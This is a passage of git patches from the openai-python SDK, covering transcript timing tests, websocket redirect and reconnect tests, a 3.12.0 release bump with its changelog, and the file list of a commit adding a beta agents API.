+ t = make_transcript(backchannel_max_duration_ms=0)
+ await t.feed(fragment("user", "Tell me ", 0), fragment("assistant", "mhm", 200), fragment("user", "more", 400))
+ await t.finish(("user", "Tell me more"), ("assistant", "mhm"))
+
+
+async def test_fractional_timeout_rounds_up(make_transcript: Factory) -> None:
+ t = make_transcript(assistant_silence_ms=200.5)
+ await t.feed(fragment("assistant", "Fractional.", 0))
+ await t.advance(200.5)
+ assert not t.recording.closed
+ await t.advance(0.5)
+ assert len(t.recording.closed) == 1
+ await t.finish(("assistant", "Fractional."))
+
+
+async def test_all_zero_options_terminate_timers(make_transcript: Factory) -> None:
+ t = make_transcript(
+ min_turn_separation_ms=0, assistant_silence_ms=0, backchannel_max_duration_ms=0, backchannel_isolation_ms=0
+ )
+ await t.feed(fragment("user", "Hello", 0), fragment("assistant", "yes", 200))
+ await t.advance(50)
+ await t.finish(("user", "Hello"), ("assistant", "yes"))
+ assert [closed.reason for closed in t.recording.closed] == ["speaker_change", "inactivity"]
+
+
+@pytest.mark.parametrize(
+ "ack,suppressed",
+ [
+ ("\ufeffYEAH\ufeff", True),
+ ("\u0085yeah\u0085", False),
+ ("\u001cyeah\u001c", False),
+ ("\u00a0uh\u2003huh!\u00a0", True),
+ ("okay-ish", False),
+ ("hm", True),
+ ("İ", False),
+ ],
+)
+async def test_acknowledgment_normalization(make_transcript: Factory, ack: str, suppressed: bool) -> None:
+ t = make_transcript()
+ await t.feed(fragment("user", "Tell me", 0), fragment("assistant", ack, 200), fragment("user", "more", 800))
+ await t.advance(5000)
+ if suppressed:
+ await t.finish(("user", "Tell me more"))
+ else:
+ await t.finish(("user", "Tell me"), ("assistant", ack), ("user", "more"))
+
+
+@pytest.mark.parametrize(
+ "before,after,joined",
+ [("你好", "世界", "你好 世界"), ("Ⅻ", "½", "Ⅻ ½"), ("x😀", "y", "x😀y"), ("a", "\u0301b", "a\u0301b")],
+)
+async def test_unicode_separator(make_transcript: Factory, before: str, after: str, joined: str) -> None:
+ t = make_transcript()
+ await t.feed(fragment("user", before, 0), fragment("assistant", "mhm", 200), fragment("user", after, 800))
+ await t.finish(("user", joined))
+
+
+@pytest.mark.parametrize("gap", [499, 500, 501])
+async def test_turn_separation_boundary(make_transcript: Factory, gap: int) -> None:
+ t = make_transcript()
+ await t.feed(fragment("user", "Question", 0), fragment("assistant", "Answer", 200 + gap))
+ await t.advance(3000)
+ await t.finish(("user", "Question"), ("assistant", "Answer"))
+
+
+@pytest.mark.parametrize("duration", [999, 1000, 1001])
+async def test_backchannel_duration_boundary(make_transcript: Factory, duration: int) -> None:
+ t = make_transcript()
+ await t.feed(
+ fragment("user", "Tell me", 0, 100),
+ fragment("assistant", "mhm", 100, 100 + duration),
+ fragment("user", "more", 1200, 1400),
+ )
+ await t.advance(5000)
+ if duration < 1000:
+ await t.finish(("user", "Tell me more"))
+ else:
+ await t.finish(("user", "Tell me"), ("assistant", "mhm"), ("user", "more"))
+
+
+async def test_recent_assistant_continuation(make_transcript: Factory) -> None:
+ t = make_transcript()
+ await t.feed(fragment("assistant", "Hello", 0))
+ await t.advance(50)
+ await t.feed(fragment("user", "Wait", 200), fragment("assistant", "yeah", 200))
+ await t.advance(3000)
+ await t.finish(("assistant", "Helloyeah"), ("user", "Wait"))
+
+
+async def test_safe_integer_timestamps_are_preserved(make_transcript: Factory) -> None:
+ t = make_transcript()
+ maximum = 9_007_199_254_740_991
+ await t.feed(fragment("assistant", "Far timeline.", maximum - 200, maximum))
+ await t.finish(("assistant", "Far timeline."))
+ assert t.recording.closed[0].segment.end_ms == maximum
diff --git a/tests/lib/test_websocket_redirects.py b/tests/lib/test_websocket_redirects.py
index 2ae84e6bfb..35f48d46c1 100644
--- a/tests/lib/test_websocket_redirects.py
+++ b/tests/lib/test_websocket_redirects.py
@@ -16,7 +16,7 @@
from openai.lib._websocket import _WebSocketConnect
from openai.types.websocket_reconnection import ReconnectingEvent
-RESOURCES = ["realtime", "beta.realtime", "responses", "beta.responses"]
+RESOURCES = ["realtime", "beta.realtime", "responses", "beta.responses", "live", "live.sideband", "live.forks"]
RECONNECTING_RESOURCES = [name for name in RESOURCES if name != "beta.realtime"]
EXTRA_HEADERS = {"api-key": "fake-key", "Cookie": "fake-cookie", "X-Custom": "fake-private-header"}
FOLLOWS_REDIRECTS = hasattr(connect, "process_redirect")
@@ -37,7 +37,11 @@ def resource(client: Any, name: str) -> Any:
def options(name: str) -> dict[str, Any]:
- return {"extra_headers": EXTRA_HEADERS, **({"model": "fake-model"} if name.endswith("realtime") else {})}
+ return {
+ "extra_headers": EXTRA_HEADERS,
+ **({"model": "fake-model"} if name.endswith("realtime") else {}),
+ **({"session_id": "live_fake"} if name in {"live.sideband", "live.forks"} else {}),
+ }
def redirect_error(location: str) -> InvalidStatus:
diff --git a/tests/test_send_queue_reconnect.py b/tests/test_send_queue_reconnect.py
index 40492d73c8..fec12479ab 100644
--- a/tests/test_send_queue_reconnect.py
+++ b/tests/test_send_queue_reconnect.py
@@ -40,18 +40,26 @@ def failing_send(data: str) -> None:
make_ws=MagicMock(return_value=ws),
on_reconnecting=lambda _event: None,
initial_delay=0,
- max_retries=4,
+ max_retries=3,
)
- for _ in range(3):
+ for expected_attempts in range(1, 4):
assert connection._reconnect(RuntimeError("fake disconnect"))
assert q._bytes == 4
+ assert attempts == expected_attempts
+ assert not connection._reconnect(RuntimeError("fake disconnect"))
assert attempts == 3
+ # A healthy application event resets the budget; an upgrade alone does not.
+ ws.recv.return_value = '{"type": "response.created"}'
+ connection.recv()
+
sent: list[str] = []
ws.send.side_effect = sent.append
assert connection._reconnect(RuntimeError("fake disconnect"))
assert sent == ["aaa", "b"]
assert q._bytes == 0
+ for _ in range(2):
+ assert connection._reconnect(RuntimeError("fake disconnect"))
assert not connection._reconnect(RuntimeError("retry budget exhausted"))
@@ -86,16 +94,24 @@ async def failing_send(data: str) -> None:
make_ws=AsyncMock(return_value=ws),
on_reconnecting=lambda _event: None,
initial_delay=0,
- max_retries=4,
+ max_retries=3,
)
- for _ in range(3):
+ for expected_attempts in range(1, 4):
assert await connection._reconnect(RuntimeError("fake disconnect"))
assert q._bytes == 4
+ assert attempts == expected_attempts
+ assert not await connection._reconnect(RuntimeError("fake disconnect"))
assert attempts == 3
+ # A healthy application event resets the budget; an upgrade alone does not.
+ ws.recv = AsyncMock(return_value='{"type": "response.created"}')
+ await connection.recv()
+
sent: list[str] = []
ws.send.side_effect = sent.append
assert await connection._reconnect(RuntimeError("fake disconnect"))
assert sent == ["aaa", "b"]
assert q._bytes == 0
+ for _ in range(2):
+ assert await connection._reconnect(RuntimeError("fake disconnect"))
assert not await connection._reconnect(RuntimeError("retry budget exhausted"))
From 603b81f9e228d95032059169cb3a0e7dc12ba93f Mon Sep 17 00:00:00 2001
From: "openai-sdks[bot]" <284451331+openai-sdks[bot]@users.noreply.github.com>
Date: Thu, 10 Sep 2026 17:24:17 +0000
Subject: [PATCH 116/341] release: 3.12.0 (#3832)
Automated Release PR
---
##
[3.12.0](https://github.com/openai/openai-python/compare/v3.11.0...v3.12.0)
(2026-09-10)
### Features
* **api:** Add Live API
([0e4bfef](https://github.com/openai/openai-python/commit/0e4bfef9c79251fcf4926fd732129627bde050f1))
### Bug Fixes
* add aclose() to AsyncStream for standard async cleanup
([#2854](https://github.com/openai/openai-python/issues/2854))
([802b334](https://github.com/openai/openai-python/commit/802b334928d8f0c3e24e5fce15a0eaa1b28c61cd))
* handle bare `dict` and `list` annotations without type arguments
([#3760](https://github.com/openai/openai-python/issues/3760))
([c7e8c03](https://github.com/openai/openai-python/commit/c7e8c03e2d87708ef233d0db00167dfa339325a9))
* preserve finalized output on null response completion
([#3345](https://github.com/openai/openai-python/issues/3345))
([adb212e](https://github.com/openai/openai-python/commit/adb212e116323fcec4b4811d20ba9eb78280c24c))
---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).
Co-authored-by: openai-sdks[bot] <284451331+openai-sdks[bot]@users.noreply.github.com>
---
.release-please-manifest.json | 2 +-
CHANGELOG.md | 14 ++++++++++++++
pyproject.toml | 2 +-
src/openai/_version.py | 2 +-
uv.lock | 2 +-
5 files changed, 18 insertions(+), 4 deletions(-)
diff --git a/.release-please-manifest.json b/.release-please-manifest.json
index 940f2ca3e1..faa0df4ef5 100644
--- a/.release-please-manifest.json
+++ b/.release-please-manifest.json
@@ -1,3 +1,3 @@
{
- ".": "3.11.0"
+ ".": "3.12.0"
}
\ No newline at end of file
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 25094f60e8..e126d8cd1a 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1,5 +1,19 @@
# Changelog
+## [3.12.0](https://github.com/openai/openai-python/compare/v3.11.0...v3.12.0) (2026-09-10)
+
+
+### Features
+
+* **api:** Add Live API ([0e4bfef](https://github.com/openai/openai-python/commit/0e4bfef9c79251fcf4926fd732129627bde050f1))
+
+
+### Bug Fixes
+
+* add aclose() to AsyncStream for standard async cleanup ([#2854](https://github.com/openai/openai-python/issues/2854)) ([802b334](https://github.com/openai/openai-python/commit/802b334928d8f0c3e24e5fce15a0eaa1b28c61cd))
+* handle bare `dict` and `list` annotations without type arguments ([#3760](https://github.com/openai/openai-python/issues/3760)) ([c7e8c03](https://github.com/openai/openai-python/commit/c7e8c03e2d87708ef233d0db00167dfa339325a9))
+* preserve finalized output on null response completion ([#3345](https://github.com/openai/openai-python/issues/3345)) ([adb212e](https://github.com/openai/openai-python/commit/adb212e116323fcec4b4811d20ba9eb78280c24c))
+
## [3.11.0](https://github.com/openai/openai-python/compare/v3.10.0...v3.11.0) (2026-09-09)
diff --git a/pyproject.toml b/pyproject.toml
index e0ece9a922..1f522e4d2e 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -1,6 +1,6 @@
[project]
name = "openai"
-version = "3.11.0"
+version = "3.12.0"
description = "The official Python library for the openai API"
dynamic = ["readme"]
license = "Apache-2.0"
diff --git a/src/openai/_version.py b/src/openai/_version.py
index 00df9f346f..aceb6739b4 100644
--- a/src/openai/_version.py
+++ b/src/openai/_version.py
@@ -1,2 +1,2 @@
__title__ = "openai"
-__version__ = "3.11.0" # x-release-please-version
+__version__ = "3.12.0" # x-release-please-version
diff --git a/uv.lock b/uv.lock
index 376a081dfc..207d803ff1 100644
--- a/uv.lock
+++ b/uv.lock
@@ -1524,7 +1524,7 @@ wheels = [
[[package]]
name = "openai"
-version = "3.11.0" # x-release-please-version
+version = "3.12.0" # x-release-please-version
source = { editable = "." }
dependencies = [
{ name = "anyio" },
From 1c4284a08294f734d57047585ab82e2e09d3a5bc Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Thu, 10 Sep 2026 15:26:19 -0400
Subject: [PATCH 117/341] feat(agents): add beta API and one-turn streaming
helpers (#3847)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Add the `beta.agents` API.
- Manage agents, sessions, items, and turns; inspect subagents and their
history.
- Work with environments, templates, files, artifacts, vaults, and
credentials.
- Includes automatic pagination, streaming events, binary artifact
downloads, and the `OpenAI-Beta: agents=v1` header.
- `beta.agents.sessions.stream(...)`: Stream one turn on an idle
session; supports sync and async clients.
- Function-tool handlers: Parse arguments, invoke registered functions,
and submit tool results during the stream.
- `AgentSessionMessage.output_text`: Join a message’s output-text blocks
into one string.
Co-authored-by: apcha-oai <228803254+apcha-oai@users.noreply.github.com>
---
.castiron.stats.yml | 14 +-
api.md | 285 +
api_reference/openapi.transformed.yml | 77318 +++++++++-------
scripts/castiron/test_custom_code_report.py | 2 +-
src/openai/lib/streaming/agents/__init__.py | 2 +
src/openai/lib/streaming/agents/_streams.py | 362 +
src/openai/lib/streaming/agents/_tools.py | 54 +
src/openai/lib/streaming/agents/_types.py | 10 +
src/openai/pagination.py | 60 +
src/openai/resources/beta/__init__.py | 14 +
src/openai/resources/beta/agents/__init__.py | 61 +
src/openai/resources/beta/agents/agents.py | 876 +
.../beta/agents/environments/__init__.py | 47 +
.../beta/agents/environments/environments.py | 238 +
.../beta/agents/environments/files.py | 469 +
.../beta/agents/environments/templates.py | 780 +
.../beta/agents/sessions/__init__.py | 89 +
.../beta/agents/sessions/artifacts.py | 551 +
.../resources/beta/agents/sessions/events.py | 291 +
.../resources/beta/agents/sessions/items.py | 221 +
.../beta/agents/sessions/sessions.py | 1145 +
.../agents/sessions/subagents/__init__.py | 47 +
.../beta/agents/sessions/subagents/items.py | 235 +
.../agents/sessions/subagents/subagents.py | 386 +
.../sessions/subagents/turns/__init__.py | 33 +
.../agents/sessions/subagents/turns/items.py | 243 +
.../agents/sessions/subagents/turns/turns.py | 380 +
.../resources/beta/agents/sessions/turns.py | 322 +
.../resources/beta/agents/vaults/__init__.py | 33 +
.../beta/agents/vaults/credentials.py | 679 +
.../resources/beta/agents/vaults/vaults.py | 563 +
src/openai/resources/beta/beta.py | 32 +
src/openai/resources/live/sessions.py | 46 +-
src/openai/types/beta/__init__.py | 127 +
src/openai/types/beta/agent.py | 58 +
.../beta/agent_close_subagent_call_item.py | 33 +
.../beta/agent_command_execution_item.py | 40 +
src/openai/types/beta/agent_content.py | 23 +
src/openai/types/beta/agent_create_params.py | 55 +
.../beta/agent_create_subagent_call_item.py | 41 +
src/openai/types/beta/agent_deleted.py | 20 +
.../types/beta/agent_function_call_item.py | 33 +
.../types/beta/agent_function_call_output.py | 10 +
.../beta/agent_function_call_output_param.py | 33 +
.../types/beta/agent_function_call_status.py | 7 +
.../agent_interrupt_subagent_call_item.py | 36 +
src/openai/types/beta/agent_list_params.py | 23 +
src/openai/types/beta/agent_mcp_call_item.py | 39 +
...ut_command_execution_output_delta_event.py | 33 +
src/openai/types/beta/agent_output_item.py | 38 +
.../types/beta/agent_output_item_status.py | 7 +
src/openai/types/beta/agent_reasoning.py | 24 +
src/openai/types/beta/agent_reasoning_item.py | 29 +
.../types/beta/agent_reasoning_param.py | 24 +
.../beta/agent_resume_subagent_call_item.py | 33 +
.../agent_send_subagent_input_call_item.py | 38 +
src/openai/types/beta/agent_session.py | 143 +
.../beta/agent_session_assistant_message.py | 39 +
.../types/beta/agent_session_created_event.py | 21 +
.../types/beta/agent_session_deleted.py | 26 +
...ent_session_environment_connected_event.py | 28 +
..._session_environment_disconnected_event.py | 28 +
.../agent_session_environment_failed_event.py | 28 +
...agent_session_environment_pending_event.py | 28 +
.../agent_session_environment_ready_event.py | 28 +
.../beta/agent_session_environment_state.py | 44 +
.../types/beta/agent_session_error_event.py | 24 +
src/openai/types/beta/agent_session_event.py | 74 +
.../types/beta/agent_session_failed_event.py | 21 +
.../types/beta/agent_session_idle_event.py | 21 +
.../beta/agent_session_in_progress_event.py | 21 +
.../beta/agent_session_input_message_param.py | 23 +
.../types/beta/agent_session_input_param.py | 62 +
src/openai/types/beta/agent_session_item.py | 92 +
.../types/beta/agent_session_message.py | 50 +
.../beta/agent_session_message_content.py | 53 +
.../agent_session_requires_action_event.py | 21 +
.../agent_session_subagent_active_event.py | 21 +
.../agent_session_subagent_closed_event.py | 21 +
.../agent_session_subagent_created_event.py | 21 +
.../agent_session_turn_cancelled_event.py | 35 +
.../agent_session_turn_completed_event.py | 35 +
...t_session_turn_content_part_added_event.py | 37 +
...nt_session_turn_content_part_done_event.py | 37 +
.../beta/agent_session_turn_created_event.py | 27 +
.../beta/agent_session_turn_failed_event.py | 35 +
.../agent_session_turn_in_progress_event.py | 27 +
.../agent_session_turn_item_added_event.py | 31 +
.../agent_session_turn_item_done_event.py | 31 +
...nt_session_turn_output_text_delta_event.py | 36 +
...ent_session_turn_output_text_done_event.py | 36 +
...turn_reasoning_summary_part_added_event.py | 40 +
..._turn_reasoning_summary_part_done_event.py | 43 +
...turn_reasoning_summary_text_delta_event.py | 39 +
..._turn_reasoning_summary_text_done_event.py | 39 +
src/openai/types/beta/agent_text.py | 18 +
src/openai/types/beta/agent_text_param.py | 25 +
src/openai/types/beta/agent_tool.py | 123 +
src/openai/types/beta/agent_tool_param.py | 145 +
src/openai/types/beta/agent_update_params.py | 56 +
.../agent_wait_for_subagents_call_item.py | 34 +
.../types/beta/agent_web_search_call_item.py | 29 +
src/openai/types/beta/agents/__init__.py | 14 +
.../types/beta/agents/environment_info.py | 36 +
.../beta/agents/environments/__init__.py | 12 +
.../agents/environments/environment_file.py | 23 +
.../environments/environment_template.py | 151 +
.../environment_template_deleted.py | 20 +
.../agents/environments/file_create_params.py | 33 +
.../agents/environments/file_list_params.py | 26 +
.../environments/template_create_params.py | 78 +
.../environments/template_list_params.py | 22 +
.../environments/template_update_params.py | 72 +
.../beta/agents/session_create_params.py | 97 +
.../types/beta/agents/session_list_params.py | 32 +
.../beta/agents/session_update_params.py | 17 +
.../types/beta/agents/sessions/__init__.py | 12 +
.../agents/sessions/artifact_list_params.py | 26 +
.../agents/sessions/event_create_params.py | 18 +
.../beta/agents/sessions/item_list_params.py | 22 +
.../beta/agents/sessions/session_artifact.py | 35 +
.../sessions/session_artifact_deleted.py | 20 +
.../agents/sessions/subagent_list_params.py | 22 +
.../agents/sessions/subagents/__init__.py | 6 +
.../sessions/subagents/item_list_params.py | 24 +
.../sessions/subagents/turn_list_params.py | 24 +
.../sessions/subagents/turns/__init__.py | 5 +
.../subagents/turns/item_list_params.py | 26 +
src/openai/types/beta/agents/sessions/turn.py | 62 +
.../beta/agents/sessions/turn_list_params.py | 22 +
src/openai/types/beta/agents/vault.py | 32 +
.../types/beta/agents/vault_create_params.py | 22 +
src/openai/types/beta/agents/vault_deleted.py | 20 +
.../types/beta/agents/vault_list_params.py | 37 +
src/openai/types/beta/agents/vault_status.py | 7 +
.../beta/agents/vault_status_filter_param.py | 12 +
.../types/beta/agents/vaults/__init__.py | 19 +
.../types/beta/agents/vaults/credential.py | 33 +
.../beta/agents/vaults/credential_auth.py | 78 +
.../vaults/credential_auth_create_param.py | 86 +
.../vaults/credential_auth_rotate_param.py | 76 +
.../agents/vaults/credential_create_params.py | 20 +
.../beta/agents/vaults/credential_deleted.py | 20 +
.../agents/vaults/credential_list_params.py | 37 +
.../agents/vaults/credential_update_params.py | 16 +
.../vaults/mcp_oauth_token_endpoint_auth.py | 45 +
..._oauth_token_endpoint_auth_create_param.py | 47 +
..._oauth_token_endpoint_auth_rotate_param.py | 45 +
src/openai/types/beta/environment.py | 115 +
src/openai/types/beta/environment_param.py | 120 +
.../types/beta/hosted_environment_file.py | 31 +
.../types/beta/hosted_environment_file_id.py | 26 +
.../beta/hosted_environment_file_param.py | 37 +
src/openai/types/beta/hosted_plugin.py | 20 +
src/openai/types/beta/hosted_plugin_param.py | 25 +
src/openai/types/beta/hosted_skill.py | 28 +
src/openai/types/beta/hosted_skill_param.py | 44 +
.../types/beta/hosted_skill_reference.py | 26 +
.../beta/inline_capability_source_param.py | 23 +
src/openai/types/beta/input_content.py | 37 +
src/openai/types/beta/input_content_param.py | 31 +
src/openai/types/beta/mcp_transport.py | 43 +
src/openai/types/beta/mcp_transport_param.py | 51 +
src/openai/types/beta/multi_agent_config.py | 20 +
.../types/beta/multi_agent_config_param.py | 17 +
src/openai/types/beta/output_text.py | 17 +
src/openai/types/beta/persisted_agent_tool.py | 129 +
.../types/beta/persisted_agent_tool_param.py | 145 +
.../types/beta/persisted_mcp_transport.py | 46 +
.../beta/persisted_mcp_transport_param.py | 51 +
src/openai/types/beta/session_error.py | 23 +
src/openai/types/beta/session_turn_error.py | 57 +
src/openai/types/beta/setup_command_param.py | 18 +
src/openai/types/beta/subagent.py | 54 +
src/openai/types/beta/summary_text.py | 17 +
src/openai/types/beta/text_format.py | 33 +
src/openai/types/beta/text_format_param.py | 28 +
src/openai/types/beta/token_usage.py | 41 +
src/openai/types/beta/web_search_action.py | 69 +
tests/api_resources/beta/agents/__init__.py | 1 +
.../beta/agents/environments/__init__.py | 1 +
.../beta/agents/environments/test_files.py | 323 +
.../agents/environments/test_templates.py | 588 +
.../beta/agents/sessions/__init__.py | 1 +
.../agents/sessions/subagents/__init__.py | 1 +
.../agents/sessions/subagents/test_items.py | 143 +
.../agents/sessions/subagents/test_turns.py | 263 +
.../sessions/subagents/turns/__init__.py | 1 +
.../sessions/subagents/turns/test_items.py | 169 +
.../beta/agents/sessions/test_artifacts.py | 449 +
.../beta/agents/sessions/test_events.py | 350 +
.../beta/agents/sessions/test_items.py | 121 +
.../beta/agents/sessions/test_subagents.py | 217 +
.../beta/agents/sessions/test_turns.py | 217 +
.../beta/agents/test_environments.py | 100 +
.../beta/agents/test_sessions.py | 619 +
.../api_resources/beta/agents/test_vaults.py | 316 +
.../beta/agents/vaults/__init__.py | 1 +
.../beta/agents/vaults/test_credentials.py | 634 +
tests/api_resources/beta/test_agents.py | 516 +
tests/lib/streaming/agents/test_streams.py | 582 +
tests/lib/test_agent_session_message.py | 91 +
tests/test_agents_environment_token_page.py | 82 +
203 files changed, 64132 insertions(+), 33273 deletions(-)
create mode 100644 src/openai/lib/streaming/agents/__init__.py
create mode 100644 src/openai/lib/streaming/agents/_streams.py
create mode 100644 src/openai/lib/streaming/agents/_tools.py
create mode 100644 src/openai/lib/streaming/agents/_types.py
create mode 100644 src/openai/resources/beta/agents/__init__.py
create mode 100644 src/openai/resources/beta/agents/agents.py
create mode 100644 src/openai/resources/beta/agents/environments/__init__.py
create mode 100644 src/openai/resources/beta/agents/environments/environments.py
create mode 100644 src/openai/resources/beta/agents/environments/files.py
create mode 100644 src/openai/resources/beta/agents/environments/templates.py
create mode 100644 src/openai/resources/beta/agents/sessions/__init__.py
create mode 100644 src/openai/resources/beta/agents/sessions/artifacts.py
create mode 100644 src/openai/resources/beta/agents/sessions/events.py
create mode 100644 src/openai/resources/beta/agents/sessions/items.py
create mode 100644 src/openai/resources/beta/agents/sessions/sessions.py
create mode 100644 src/openai/resources/beta/agents/sessions/subagents/__init__.py
create mode 100644 src/openai/resources/beta/agents/sessions/subagents/items.py
create mode 100644 src/openai/resources/beta/agents/sessions/subagents/subagents.py
create mode 100644 src/openai/resources/beta/agents/sessions/subagents/turns/__init__.py
create mode 100644 src/openai/resources/beta/agents/sessions/subagents/turns/items.py
create mode 100644 src/openai/resources/beta/agents/sessions/subagents/turns/turns.py
create mode 100644 src/openai/resources/beta/agents/sessions/turns.py
create mode 100644 src/openai/resources/beta/agents/vaults/__init__.py
create mode 100644 src/openai/resources/beta/agents/vaults/credentials.py
create mode 100644 src/openai/resources/beta/agents/vaults/vaults.py
create mode 100644 src/openai/types/beta/agent.py
create mode 100644 src/openai/types/beta/agent_close_subagent_call_item.py
create mode 100644 src/openai/types/beta/agent_command_execution_item.py
create mode 100644 src/openai/types/beta/agent_content.py
create mode 100644 src/openai/types/beta/agent_create_params.py
create mode 100644 src/openai/types/beta/agent_create_subagent_call_item.py
create mode 100644 src/openai/types/beta/agent_deleted.py
create mode 100644 src/openai/types/beta/agent_function_call_item.py
create mode 100644 src/openai/types/beta/agent_function_call_output.py
create mode 100644 src/openai/types/beta/agent_function_call_output_param.py
create mode 100644 src/openai/types/beta/agent_function_call_status.py
create mode 100644 src/openai/types/beta/agent_interrupt_subagent_call_item.py
create mode 100644 src/openai/types/beta/agent_list_params.py
create mode 100644 src/openai/types/beta/agent_mcp_call_item.py
create mode 100644 src/openai/types/beta/agent_output_command_execution_output_delta_event.py
create mode 100644 src/openai/types/beta/agent_output_item.py
create mode 100644 src/openai/types/beta/agent_output_item_status.py
create mode 100644 src/openai/types/beta/agent_reasoning.py
create mode 100644 src/openai/types/beta/agent_reasoning_item.py
create mode 100644 src/openai/types/beta/agent_reasoning_param.py
create mode 100644 src/openai/types/beta/agent_resume_subagent_call_item.py
create mode 100644 src/openai/types/beta/agent_send_subagent_input_call_item.py
create mode 100644 src/openai/types/beta/agent_session.py
create mode 100644 src/openai/types/beta/agent_session_assistant_message.py
create mode 100644 src/openai/types/beta/agent_session_created_event.py
create mode 100644 src/openai/types/beta/agent_session_deleted.py
create mode 100644 src/openai/types/beta/agent_session_environment_connected_event.py
create mode 100644 src/openai/types/beta/agent_session_environment_disconnected_event.py
create mode 100644 src/openai/types/beta/agent_session_environment_failed_event.py
create mode 100644 src/openai/types/beta/agent_session_environment_pending_event.py
create mode 100644 src/openai/types/beta/agent_session_environment_ready_event.py
create mode 100644 src/openai/types/beta/agent_session_environment_state.py
create mode 100644 src/openai/types/beta/agent_session_error_event.py
create mode 100644 src/openai/types/beta/agent_session_event.py
create mode 100644 src/openai/types/beta/agent_session_failed_event.py
create mode 100644 src/openai/types/beta/agent_session_idle_event.py
create mode 100644 src/openai/types/beta/agent_session_in_progress_event.py
create mode 100644 src/openai/types/beta/agent_session_input_message_param.py
create mode 100644 src/openai/types/beta/agent_session_input_param.py
create mode 100644 src/openai/types/beta/agent_session_item.py
create mode 100644 src/openai/types/beta/agent_session_message.py
create mode 100644 src/openai/types/beta/agent_session_message_content.py
create mode 100644 src/openai/types/beta/agent_session_requires_action_event.py
create mode 100644 src/openai/types/beta/agent_session_subagent_active_event.py
create mode 100644 src/openai/types/beta/agent_session_subagent_closed_event.py
create mode 100644 src/openai/types/beta/agent_session_subagent_created_event.py
create mode 100644 src/openai/types/beta/agent_session_turn_cancelled_event.py
create mode 100644 src/openai/types/beta/agent_session_turn_completed_event.py
create mode 100644 src/openai/types/beta/agent_session_turn_content_part_added_event.py
create mode 100644 src/openai/types/beta/agent_session_turn_content_part_done_event.py
create mode 100644 src/openai/types/beta/agent_session_turn_created_event.py
create mode 100644 src/openai/types/beta/agent_session_turn_failed_event.py
create mode 100644 src/openai/types/beta/agent_session_turn_in_progress_event.py
create mode 100644 src/openai/types/beta/agent_session_turn_item_added_event.py
create mode 100644 src/openai/types/beta/agent_session_turn_item_done_event.py
create mode 100644 src/openai/types/beta/agent_session_turn_output_text_delta_event.py
create mode 100644 src/openai/types/beta/agent_session_turn_output_text_done_event.py
create mode 100644 src/openai/types/beta/agent_session_turn_reasoning_summary_part_added_event.py
create mode 100644 src/openai/types/beta/agent_session_turn_reasoning_summary_part_done_event.py
create mode 100644 src/openai/types/beta/agent_session_turn_reasoning_summary_text_delta_event.py
create mode 100644 src/openai/types/beta/agent_session_turn_reasoning_summary_text_done_event.py
create mode 100644 src/openai/types/beta/agent_text.py
create mode 100644 src/openai/types/beta/agent_text_param.py
create mode 100644 src/openai/types/beta/agent_tool.py
create mode 100644 src/openai/types/beta/agent_tool_param.py
create mode 100644 src/openai/types/beta/agent_update_params.py
create mode 100644 src/openai/types/beta/agent_wait_for_subagents_call_item.py
create mode 100644 src/openai/types/beta/agent_web_search_call_item.py
create mode 100644 src/openai/types/beta/agents/__init__.py
create mode 100644 src/openai/types/beta/agents/environment_info.py
create mode 100644 src/openai/types/beta/agents/environments/__init__.py
create mode 100644 src/openai/types/beta/agents/environments/environment_file.py
create mode 100644 src/openai/types/beta/agents/environments/environment_template.py
create mode 100644 src/openai/types/beta/agents/environments/environment_template_deleted.py
create mode 100644 src/openai/types/beta/agents/environments/file_create_params.py
create mode 100644 src/openai/types/beta/agents/environments/file_list_params.py
create mode 100644 src/openai/types/beta/agents/environments/template_create_params.py
create mode 100644 src/openai/types/beta/agents/environments/template_list_params.py
create mode 100644 src/openai/types/beta/agents/environments/template_update_params.py
create mode 100644 src/openai/types/beta/agents/session_create_params.py
create mode 100644 src/openai/types/beta/agents/session_list_params.py
create mode 100644 src/openai/types/beta/agents/session_update_params.py
create mode 100644 src/openai/types/beta/agents/sessions/__init__.py
create mode 100644 src/openai/types/beta/agents/sessions/artifact_list_params.py
create mode 100644 src/openai/types/beta/agents/sessions/event_create_params.py
create mode 100644 src/openai/types/beta/agents/sessions/item_list_params.py
create mode 100644 src/openai/types/beta/agents/sessions/session_artifact.py
create mode 100644 src/openai/types/beta/agents/sessions/session_artifact_deleted.py
create mode 100644 src/openai/types/beta/agents/sessions/subagent_list_params.py
create mode 100644 src/openai/types/beta/agents/sessions/subagents/__init__.py
create mode 100644 src/openai/types/beta/agents/sessions/subagents/item_list_params.py
create mode 100644 src/openai/types/beta/agents/sessions/subagents/turn_list_params.py
create mode 100644 src/openai/types/beta/agents/sessions/subagents/turns/__init__.py
create mode 100644 src/openai/types/beta/agents/sessions/subagents/turns/item_list_params.py
create mode 100644 src/openai/types/beta/agents/sessions/turn.py
create mode 100644 src/openai/types/beta/agents/sessions/turn_list_params.py
create mode 100644 src/openai/types/beta/agents/vault.py
create mode 100644 src/openai/types/beta/agents/vault_create_params.py
create mode 100644 src/openai/types/beta/agents/vault_deleted.py
create mode 100644 src/openai/types/beta/agents/vault_list_params.py
create mode 100644 src/openai/types/beta/agents/vault_status.py
create mode 100644 src/openai/types/beta/agents/vault_status_filter_param.py
create mode 100644 src/openai/types/beta/agents/vaults/__init__.py
create mode 100644 src/openai/types/beta/agents/vaults/credential.py
create mode 100644 src/openai/types/beta/agents/vaults/credential_auth.py
create mode 100644 src/openai/types/beta/agents/vaults/credential_auth_create_param.py
create mode 100644 src/openai/types/beta/agents/vaults/credential_auth_rotate_param.py
create mode 100644 src/openai/types/beta/agents/vaults/credential_create_params.py
create mode 100644 src/openai/types/beta/agents/vaults/credential_deleted.py
create mode 100644 src/openai/types/beta/agents/vaults/credential_list_params.py
create mode 100644 src/openai/types/beta/agents/vaults/credential_update_params.py
create mode 100644 src/openai/types/beta/agents/vaults/mcp_oauth_token_endpoint_auth.py
create mode 100644 src/openai/types/beta/agents/vaults/mcp_oauth_token_endpoint_auth_create_param.py
create mode 100644 src/openai/types/beta/agents/vaults/mcp_oauth_token_endpoint_auth_rotate_param.py
create mode 100644 src/openai/types/beta/environment.py
create mode 100644 src/openai/types/beta/environment_param.py
create mode 100644 src/openai/types/beta/hosted_environment_file.py
